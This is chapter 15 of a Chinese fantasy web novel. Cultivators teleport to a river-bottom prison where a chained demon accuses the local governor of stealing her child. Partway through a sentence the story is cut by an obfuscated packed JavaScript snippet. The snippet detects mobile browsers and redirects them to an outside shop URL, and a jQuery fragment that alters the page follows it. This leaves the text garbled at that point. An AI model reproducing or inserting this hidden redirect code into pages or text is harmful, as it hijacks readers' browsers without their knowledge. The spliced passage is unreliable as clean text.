15. 第15章 河底水牢
作品:《一朝失算》 晨曦初露,纪泱泱四人便与郡守一齐站在了后院中。
当春桐原本为了长见识而特意起了个大早,但当世圻坚决不让她跟着,便怏怏地去饭厅了。
后院空荡荡的,仅在地上的砖缝里种了斑斓的花儿。霜地色的□□,黛瓦层层覆之,其下,是一根顶雕石龟柱,像把桥上的望柱拔了去。
“这传送阵啊,一天仅能开启一次。”当世圻说着,将手伸进石龟嘴里,摸索了两下,掏出一个小巧的东西来。
狭窄的院里挤着五个人,纪泱泱站在最后,前面是莫云欲和白墨轩高大的后背。
她为了看清楚,只得踮起脚,使劲抻着脖子,费了好大力,才终于将那东西看清——
一块乳白色石头,上面刻着黑色的眼睛纹路,随着当世圻的动作,在柔碎的阳光下泛着亮。
当世圻转过身子,将石头摊在掌心,向众人展示道:“这是两点双向传送石。”
四个脑袋当即围成了一圈。
“听说传送石极其珍贵,我长这么大,也没用过几次呢。”酒当歌惊叹道。
有那么珍贵么?
纪泱泱心虚地投去一瞥:她记着,臭老头儿在芥子袋里给她放了满满一抽屉,还细心地附上了使用方法。
“没错,”当世圻捻着八字胡,赞同道,“像我这种普通人,能拥有此物,即是三生有幸了。”
他抬头看向莫云欲:“这块石头是御符宗宗主交给我的,现在呢,也理应交予你使用。”随后,将传送石放到了他手里。
沉甸甸的石头落入手心,莫云欲有点儿受宠若惊:“谢郡守。”
怕他不了解,当世圻开始详细地教给莫云欲,“传送阵往返的位置都固定在此,一天仅能使用一次,他指了指传送石纹路下方的黑色泪滴,“你看,这块石头还能使用两次。”
“好的,晚辈知道了。”
莫云欲出自大宗,怎会不知传送石的用法,但出于礼貌,他没有打断郡守,反而露出一副虚心受教的表情。
“将灵力注入到石头里,直至纹路变白,传送阵就会开启,入阵后便可随身携带了,”见他表情认真,当世圻欣慰地摸上胡子,“听懂了,便试试吧。”
四人的视线都落在了莫云欲身上,他点了点头,举起传送石,右手两指并起,开始往里注入灵力。
随着力量的注入,传送石上刻着的眼睛开始变白,与此同时,一道阵法自五人脚下浮现。
当世圻似是想到了什么,叮嘱道:“河下施了避水咒,不用担心呼吸问题,到达传送点后,往前直走几步,穿过一道水帘,便到了。
“在那里,你们会看到一个备用的螺旋阶梯,直通大桥,若是传送石丢了或出了什么故障,就只能徒步爬上去了。
“好了,我要陪小女用膳,就不随你们去了。”他说着,慢慢退出了阵法范围。
不愧是大宗门的宗主啊,纪泱泱看了莫云欲一眼,能将此阵设计得如此精妙,甚至还留了后路。
看来底下镇压的妖怪很是厉害了。
“多谢郡守大人详细告知,晚辈记下了,”莫云欲向他作了一揖,“大人且安心陪女,我等自行前往便可。”
莫云欲说完,传送石上的纹路已然全白,刺眼的光芒亮起,四人脚下蓦地换了个地方。
河底就是河底,是只有碎石和泥土的普通河底,由于施了避水咒,泥土是干的,走起来与平常泥土路别无二异。
坚韧的透明膜衣包住空气,如同在河水中开辟了一个小天地。空气周围又被清绿色的河水裹住,各种鱼儿在里头成群地游动着。
“好美!”纪泱泱的眼睛几乎黏在了鱼群上,她贴着水膜,由衷地感叹。
“好了,泱泱,我们可是有正事要做的。”酒当歌无奈一笑,将她拉回了队伍里。
纪泱泱依依不舍地将眼睛挪开,瘪了瘪嘴:“好吧。”
当世圻口中的水帘就是一面哗哗往下流的水瀑,离传送阵不远,大约五十米的距离。
酒当歌和莫云欲依次穿过水帘,纪泱泱心里有点激动,还有点害怕,她朝后看去,想寻求一丝安慰:“白同道,你说这妖怪会是——咦,你躲在那里干嘛?”
白墨轩落后三人几步,站在原地捂着胸口,脸色苍白如纸,见纪泱泱看来,便强行挤出一个笑:“纪同道,在下身体突感不适……”说罢,还捂住嘴,咳了两声。
“你怎么了?”刚刚不还好好的?纪泱泱有点儿狐疑,伸手要去扶他。
白墨轩这摇摇欲坠的模样,简直像浪里的一片舟,随时会被淹没。
“旧疾复发,歇会便好……”他后退一步,错开纪泱泱的手,强撑起精神,“在下想留在此地等候,劳烦三位前去封印了。”
话落,他又咳了几声。
“你这旧疾复发的还真是时候。”纪泱泱本想揶揄他一下,但又见他额头冷汗直流,不似装出来的,便转口应了下来。
反正阶梯在中心,他不去就没法破坏;传送石又在莫云欲手上,他也动不了手脚。
纪泱泱这么安慰着自己,穿过水帘,心跳猛地一滞。
这里地上密密麻麻的,全是深浅不一的刻线;天上也满是刻线,血涂成的,干在水膜上。
穿过层层河水筛下来的阳光,再透过干涸的血,将这里笼罩成了深红色。
背对着三人的地上,躺了个红衣女子,她浑身的衣服几近风化,破破烂烂的,尤其肩胛骨,被穿了两个大洞,明显可见森森白骨。
酒当歌和莫云欲一后一前站在原地,小心地避开那些刻线,没有继续往前。
“师姐,咱们加固对她的封印就行了吧?”纪泱泱扯了扯酒当歌的衣袖,率先打破沉默。
这里好压抑,让人喘不上气,她好想快点完成任务,赶紧出去。
思及此,她忍不住羡慕起白墨轩来——早知自己也留下了。
酒当歌从一进来就皱着眉,闻言点点头:“没错,通过那里,就能补充整个阵法的力量。”
“你来,还是我来?”莫云欲扭头询问酒当歌,余光瞥见少了个人,疑惑地看向纪泱泱,“白同道呢?”
“在水帘外,他身体不舒服,就等在那里了。”
“噢。”
大妖在几人交流之间,慢慢撑起了身子,衣袖下的手臂如枯骨裹了层皮。
她眯眼缓缓看向头顶,金黄的眼珠像蒙了层灰,深深陷进了眼眶:“又快到午时了吧……”
枯哑的轻叹刚止,大妖周身气息骤然收紧,转头看向三人,声音也沉了几分:“是谁,让你们来的?”
她伸出手,可拼尽全力,才凝出一道小火苗来。即便如此,她依旧摆出一副鱼死网破的气势来,像困在网里的螳螂,强弩之末。
酒当歌和莫云欲警惕地盯着她,沉默着。
纪泱泱见她这副模样,心下一软,回道:“是郡守,当世圻郡守。”
告诉她也无妨,反正今日过后,她便再也出不去了吧。依她现在的力量,怕是连下一次阵法崩塌都活不到。
“郡守?”大妖的眼睛忽地焕发了光彩,“你们是从郡守府来的?!”她忽而伸出血肉模糊的十指,跌跌撞撞地朝纪泱泱扑去。
“妖孽!滚远点!”酒当歌挡在纪泱泱身前,一把抽出剑,直指她的胸口。
不等大妖撞上剑,先被自己身后的空气扯了回去。
四道金色锁链自河床凭空冒出,其中两头圆环穿过了她的膝盖骨,将她牢牢钉在了原地;另两道凿穿了她的肩胛骨,连带锁骨一并穿过,死
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062589|195093||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
死限制了她的动作。
“我叫血雀,我的孩子……求求你们,帮我找找我的孩子……”
血雀一下子被自己掼倒在地,又急忙用手肘撑起身体,大口喘着气,朝三人爬去。
如此巨大的动作,必然牵动了伤口,可她被锁链贯穿的地方已经流不出血了,泥土上仅剩两条拖痕留在脚后。
纪泱泱不忍再看她,别过头去。
“什么意思?”酒当歌的眉头越皱越紧,依旧执着剑,“你杀了郡守的妻子,又差点毁了行水郡,现在还要我们帮你找孩子?”
血雀闻言停止了蠕动,难以置信地仰起脸,瞪视着三人:“当世圻,他是这么跟你们说的?”
“不然?”莫云欲指间夹了张封印符,对酒当歌说道,“咱们为何要跟她废话?直接封印不就好了。”
语毕,他有些疑惑:照平常来说,酒当歌应该早就急不可耐地动手了,可现在……
她在犹豫什么?
酒当歌没理莫云欲,反而看向血雀:“你可是得罪了什么人?”
血雀突然咧开了嘴,低低的笑声自喉间溢出,像个漏风的陶埙。
“行水郡郡守的妻子是自己病死的,与我有何关系?”血雀恨恨道,“反倒是他!”
“十五年前,我生的孩子患了枯血症,即将因缺少血液而窒息死亡。
“就在我四处寻求解决之法时,有一个人突然找到我,告知过康州中间的山上有一灵草,可治愈此病。
“身为大妖,我自是轻易就找到了那灵草。可那郡守,见我将灵草用了,竟与一个道士联合起来一起偷走了我的孩子,我的骨血——它还未孵化出来,就离开了娘亲……”
血雀掩面痛哭起来。
听完后,三人俱是一惊,互相交换了个眼神,心中同时有了一个大胆的猜测:当春桐。
酒当歌收了剑,说道:“她正好是十五六岁的年纪。”
但随即就被莫云欲否定了:“不可能,你不是说她的体内没有一丝妖气么?”
那道士,说的便是自己师父了吧?可他不信,自己敬仰的师父怎可能做出如此之事?
酒当歌也提出相反的质疑:“你看看这一地的时刻线,血雀说得这么详细,连年数都对上了,难道会是现编的么?”
“为何不能?况且,我问你,郡守偷她孩子干嘛?”
酒当歌一时词穷:“嘶,你倒伶牙俐齿,”她一叉腰,转向血雀,“既然你与郡守各执一词,那我们便回去寻一下你的孩子,顺便问问郡守,你之所言,到底是真是假。”
“谢谢!谢谢你们!”血雀感激地擦净眼泪,“这几年,我能感觉到,我的孩子与我的联系越来越淡了。”
她突然想到了什么,急忙补充道,“但在一日前,它的气息突然强烈起来,”说到此,又落下泪来,“求求你们,尽快好么?”
酒当歌点点头,转过身背对着她,声音突然如淬寒冰:“若是假的,你也要想清欺骗我们的后果。”
“好。”血雀抹掉泪,眼里满是期翼,目送着三人离开。
走出水帘后,纪泱泱只觉胸口堵得慌。
若血雀所说是真,她岂不是与自己孩子分别了十五年之久?还被困在这暗无天日的水牢里,受尽折磨。
一个人影站在前方,似是等候多时。
“封印完成了么?”白墨轩立在原地,气色看起来比刚刚好了很多。
虽是透明水膜,但从这里看去,却只能看到几道模糊难辨的身影,朦朦胧胧的,也听不见里面的对话。
莫云欲摇了摇头:“白同道,先入阵,一会儿再向你解释。”他掏出传送石,开始注入灵力。
紧接着周围又是一亮,待视线恢复后,四人又回到了后院里。

